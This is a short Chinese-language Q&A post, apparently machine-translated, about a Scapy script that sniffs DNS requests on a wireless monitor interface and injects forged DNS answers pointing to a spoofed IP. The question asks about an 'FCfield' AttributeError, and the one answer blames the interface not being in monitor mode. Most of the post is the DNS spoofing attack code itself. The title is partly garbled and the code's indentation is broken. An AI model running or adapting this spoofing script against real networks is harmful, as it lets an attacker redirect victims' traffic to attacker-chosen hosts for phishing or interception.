FCfield Attribut使用Scapy嗅探数据包时出错

Question

我试图使用scapy在mon0接口上嗅探DNS请求数据包。 我想发回一个欺骗IP。 但我得到一个错误：

AttributeError: 'Ether' object has no attribute 'FCfield'

代码：

def send_response(x): 
x.show() 
req_domain = x[DNS].qd.qname 
logger.info('Found request for ' + req_domain) 
# First, we delete the existing lengths and checksums.. 
# We will let Scapy re-create them 
del(x[UDP].len) 
del(x[UDP].chksum) 
del(x[IP].len) 
del(x[IP].chksum) 
response = x.copy() 
response.FCfield = '2L' 

response.addr1, response.addr2 = x.addr2, x.addr1 
# Switch the IP addresses 
response.src, response.dst = x.dst, x.src 
# Switch the ports 
response.sport, response.dport = x.dport, x.sport 
# Set the DNS flags 
response[DNS].qr = '1L' 
response[DNS].ra = '1L' 
response[DNS].ancount = 1 


response[DNS].an = DNSRR(
    rrname = req_domain, 
    type = 'A', 
    rclass = 'IN', 
    ttl = 900, 
    rdata = spoofed_ip 
    ) 
#inject the response 
sendp(response) 
logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n') 

def main(): 
    logger.info('Starting to intercept [CTRL+C to stop]') 
    sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53) 

Answer 1

你的界面可能不会在监控模式下配置的，这就是为什么你得到一个以太网（Ether）层，而不是一个无线网络（​​）层。